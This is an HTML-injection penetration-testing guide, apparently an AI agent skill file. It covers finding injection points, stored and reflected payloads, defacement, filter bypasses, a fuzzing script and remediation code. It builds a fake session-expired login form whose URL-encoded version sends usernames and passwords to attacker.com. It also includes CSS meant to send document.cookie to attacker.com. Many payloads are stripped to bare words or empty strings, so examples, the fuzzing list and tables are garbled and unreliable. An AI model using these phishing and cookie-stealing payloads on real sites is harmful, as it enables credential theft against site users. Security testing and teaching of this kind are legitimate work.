Html Injection Testing

HTML Injection Testing

Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

Prerequisites

Required Tools

• Web browser with developer tools
• Burp Suite or OWASP ZAP
• Tamper Data or similar proxy
• cURL for testing payloads

Required Knowledge

• HTML fundamentals
• HTTP request/response structure
• Web application input handling
• Difference between HTML injection and XSS

Outputs and Deliverables

1. Vulnerability Report - Identified injection points
2. Exploitation Proof - Demonstrated content manipulation
3. Impact Assessment - Potential phishing and defacement risks
4. Remediation Guidance - Input validation recommendations

Core Workflow

Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

    Welcome, 

?name=Injected Content

    Welcome, Injected Content

Key differences from XSS:

• HTML injection: Only HTML tags are rendered
• XSS: JavaScript code is executed
• HTML injection is often stepping stone to XSS

Attack goals:

• Modify website appearance (defacement)
• Create fake login forms (phishing)
• Inject malicious links
• Display misleading content

Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page

Common vulnerable parameters:

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=

Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

Test Injection
Bold Text
Italic Text
Underlined Text
Red Text

Injected DIV
Injected paragraph
Line breaks

Click Here
Legitimate Link

  

Testing workflow:

# Test basic injection
curl "http://target.com/search?q=Test"

# Check if HTML renders in response
curl -s "http://target.com/search?q=Bold" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Phase 4: Types of HTML Injection

Stored HTML Injection

Payload persists in database:

Name: John Doe
Bio: 
     Site Under Maintenance
     Please login at portal.company.com
     

Great article!

    
    
    

Reflected GET Injection

Payload in URL parameters:

http://target.com/welcome?name=Welcome%20Admin

http://target.com/search?q=Your%20account%20has%20been%20compromised

Reflected POST Injection

Payload in POST data:

# POST injection test
curl -X POST -d "comment=Malicious Content" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=alert(1)&email=test@test.com" \
     http://target.com/register

URL-Based Injection

Inject into displayed URLs:

http://target.com/page/Injected

http://target.com/users//profile

Phase 5: Phishing Attack Construction

Create convincing phishing forms:

    Session Expired
    Your session has expired. Please log in again.
    
        Username:
        
        Password:
        
        
    

    input { background: url('http://attacker.com/log?data=') }

    
    
    Verify

URL-encoded phishing link:

http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E

Phase 6: Defacement Payloads

Website appearance manipulation:

    HACKED BY SECURITY TESTER

body{display:none}

    This site has been compromised

    SECURITY VULNERABILITY DETECTED

Phase 7: Advanced Injection Techniques

CSS Injection

    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }

Content

Meta Tag Injection

Form Action Override

iframe Injection

Phase 8: Bypass Techniques

Evade basic filters:

Test
alert(1)

<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E

Split Tag

Null Byte

%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E

\u003ch1\u003eUnicode\u003c/h1\u003e

Hover me

Phase 9: Automated Testing

Using Burp Suite

1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections

Using OWASP ZAP

1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually

Custom Fuzzing Script

#!/usr/bin/env python3
import requests
import urllib.parse

target = "http://target.com/search"
param = "q"

payloads = [
    "Test",
    "Bold",
    "alert(1)",
    "",
    "Click",
    "Styled",
    "Moving",
    "",
]

for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"
    
    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "" in response.text or "" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")

Phase 10: Prevention and Remediation

Secure coding practices:

// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// PHP: Strip tags
echo strip_tags($user_input);

// PHP: Allow specific tags only
echo strip_tags($user_input, '');

# Python: HTML escape
from html import escape
safe_output = escape(user_input)

# Python Flask: Auto-escaping
{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)

// JavaScript: Text content (safe)
element.textContent = userInput;

// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!

// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

Server-side protections:

• Input validation (whitelist allowed characters)
• Output encoding (context-aware escaping)
• Content Security Policy (CSP) headers
• Web Application Firewall (WAF) rules

Quick Reference

Common Test Payloads

| Payload | Purpose | |---------|---------| | Test | Basic rendering test | | Bold | Simple formatting | | Link | Link injection | | ` | Image tag test | | | Style injection | | ` | Form hijacking |

Injection Contexts

| Context | Test Approach | |---------|---------------| | URL parameter | ?param=test | | Form field | POST with HTML payload | | Cookie value | Inject via document.cookie | | HTTP header | Inject in Referer/User-Agent | | File upload | HTML file with malicious content |

Encoding Types

| Type | Example | |------|---------| | URL encoding | %3Ch1%3E = ` | | HTML entities | &#60;h1&#62; = | | Double encoding | %253C = < | | Unicode | \u003c = <` |

Constraints and Limitations

Attack Limitations

• Modern browsers may sanitize some injections
• CSP can prevent inline styles and scripts
• WAFs may block common payloads
• Some applications escape output properly

Testing Considerations

• Distinguish between HTML injection and XSS
• Verify visual impact in browser
• Test in multiple browsers
• Check for stored vs reflected

Severity Assessment

• Lower severity than XSS (no script execution)
• Higher impact when combined with phishing
• Consider defacement/reputation damage
• Evaluate credential theft potential

Troubleshooting

| Issue | Solutions | |-------|-----------| | HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context | | Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags | | XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: zebbern
• Source: zebbern/claude-code-guide
• License: MIT

Install and usage instructions live in the source repository linked above.